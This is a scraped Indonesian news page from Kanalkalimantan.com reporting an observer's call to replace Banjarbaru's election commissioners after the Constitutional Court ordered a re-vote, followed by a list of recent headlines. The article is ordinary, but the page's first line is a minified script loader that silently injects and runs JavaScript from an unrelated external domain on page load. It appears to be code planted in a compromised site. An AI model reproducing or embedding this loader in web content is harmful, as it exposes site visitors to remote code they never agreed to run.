(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Soal PSU Pilwali Banjarbaru, Pengamat: Komisioner KPU Harus Diganti


KANALKALIMANTAN.COM, BANJARBARU – Putusan final dari Mahkamah Konstitusi (MK) soal Pemungutan Suara Ulang (PSU) untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru karena dinyatakan inskonstusional mendapatkan sorotan dari pengamat politik Banua.

Salah seorang pengamat politik dan kebijakan Kalimantan Selatan, Nurkholis Majid secara tegas mengatakan bahwa keputusan MK merupakan kabar yang menggembirakan bagi politik dan hukum khususnya Kota Banjarbaru.

Menurut dia, keputusan MK tersebut memberikan isyarat bahwa demokrasi masih ‘waras’ dan tidak mudah dibajak oleh kelompok kepentingan yang ingin membelokkan kepentingam menjadi proses curang dan mudah dimanipulasi.

“PR-nya sekarang adalah bagaimana mengawal PSU nanti, tentunya agar PSU benar-benar bermakna. Memberikan kesempatan kepada masyarakat untuk menentukan pemimpin Banjarbaru secara demokratis,” katanya.

Baca juga: Dinsos Banjarbaru Optimalkan Data untuk Layanan Kesejahteraan Masyarakat

Namun, menurut Ketua Ombudsman RI Perwakilan Kalsel ini, masih mempertanyakan apakah masyarakat Kota Banjarbaru masih percaya dengan Komisi Pemilihan Umum (KPU) Banjarbaru yang dianggap telah melakukan kesalahan dalam proses Pilkada sebelumnya.

“KPU Banjarbaru sudah cacat di mata masyarakat, cacat dalam pengertian bahwa integritas mereka dipertanyakan dan warga menunggu nasibnya ditentukan oleh DKPP,” tegasnya.

Bahkan menurut Majid, apabila PSU kembali diselenggarakan oleh jajaran KPU Banjarbaru yang ada, kemungkinan masyarakat kurang dipercaya, maka berpotensi akan kembali menimbulkan masalah.

Baca juga: Jaksa KPK Mentahkan Pembelaan Terdakwa Suap Proyek PUPR Kalsel

“Mestinya diganti komisioner KPU-nya, tetapi kan masih menunggu keputusan dari DKPP. PSU harus dikawal oleh seluruh elemen masyarakat. Baik itu masyarakat sipil, media, akademisi dan kelompok lainnya yang peduli dengan demokrasi,” tegasnya. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: bie


Risa

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

51 menit ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

4 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

5 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

8 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

10 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

12 jam ago